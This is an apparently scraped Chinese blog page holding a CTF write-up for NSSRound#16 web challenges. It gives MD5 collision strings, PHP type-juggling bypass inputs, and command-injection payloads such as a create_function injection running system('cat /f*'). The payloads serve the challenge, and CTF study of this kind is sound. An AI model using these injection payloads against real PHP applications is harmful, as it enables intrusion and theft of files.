当前位置: 首页 > news >正文

[NSSRound#16 Basic]Web

1.RCE但是没有完全RCE

显示md5强比较,然后md5_3随便传

md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&md5_3=1

下一个目录3z_RC3.php

法一:可以不用shell,直接利用cmd实现rce

shell=urlencodecmd=system($_POST[x]);x=cat /flag

或者用array_pop函数,返回数组最后一个元素

2.了解过PHP特性吗

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {die("no!!");
}
if (intval($num)) {$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {$ctype = strrev($_POST['ctype']);$is_num = strrev($_POST['is_num']);if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {$checker_2 = TRUE;}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {if (!is_numeric($_514) && $_514 > 9999999) {$checker_3 = TRUE;}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {$checker_4 = TRUE;}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {echo $rce;
} 

第一层,无数字intval绕过,用非空数组

num[]=a

第二层md5弱比较

纯字母QNKCDZO

纯数字240610708

注意会翻转,要倒着写

ctype=OZDCKNQ&is_num=807016042

第三层intval长度限制绕过,is_numeric绕过

114用科学计数法1e9

514用数字加字母绕过!is_numeric

114=1e9&514=99999999a

第四层array_search绕过

arr4y数组里面不能有NSS,但是NSS的键名要是0

测试发现,当键名和值都是0的时候,array_search匹配不到NSS也会返回键名

所以arr4y[]=0

arr4y[]=0

提示下一页是Rc3_function.php

create_function注入

shell传空内容,nss传1;}system("cat /f*");/*

nss=1;}system("cat /f*");/*&shell=

http://www.lryc.cn/news/301050.html

相关文章:

  • [职场] 会计学专业学什么 #其他#知识分享#职场发展
  • docker (五)-docker存储-数据持久化
  • 飞行路线(分层图+dijstra+堆优化)(加上题目选数复习)
  • 云计算基础-快照与克隆
  • 使用 RAG 创建 LLM 应用程序
  • 第13章 网络 Page744~746 asio核心类 ip::tcp::endPoint
  • 面试浏览器框架八股文十问十答第一期
  • 多线程的基本原理学习
  • C/C++进制转换
  • 使用 Coze 搭建 TiDB 助手
  • Arduino程序简单入门
  • QT+OSG/osgEarth编译之八十三:osgdb_ogr+Qt编译(一套代码、一套框架,跨平台编译,版本:OSG-3.6.5插件库osgdb_ogr)
  • 开年炸裂-Sora/Gemini
  • vue前端系统启动报错Module not found: Error: Can‘t resolve ‘sass-loader‘
  • HTML | DOM | 网页前端 | 常见HTML标签总结
  • 乡政府|乡政府管理系统|基于Springboot的乡政府管理系统设计与实现(源码+数据库+文档)
  • 存储系统如何规避数据静默错误SDC?
  • 《Linux 简易速速上手小册》第8章: 安全性与加固(2024 最新版)
  • Ubuntu Desktop 显示文件路径
  • 【Java程序设计】【C00270】基于Springboot的moba类游戏攻略分享平台(有论文)
  • 【旧文更新】【优秀毕设】人脸识别打卡/签到/考勤管理系统(OpenCV+最简基本库开发、可移植树莓派 扩展网络图像推流控制 验证码及Excel邮件发送等功能)
  • 模型 4i(趣味、利益、互动、个性)理论
  • 解线性方程组(二)——Jacobi迭代法求解(C++)
  • 信息安全技术基础知识
  • 使用Taro开发鸿蒙原生应用——快速上手,鸿蒙应用开发指南
  • C语言指针(初阶)
  • Python循环语句——for循环的嵌套使用
  • Java创建线程真的有三种方式吗?
  • 17-k8s控制器资源-job控制
  • lazarus:LCL 嵌入 fpwebview 组件,做一个简单浏览器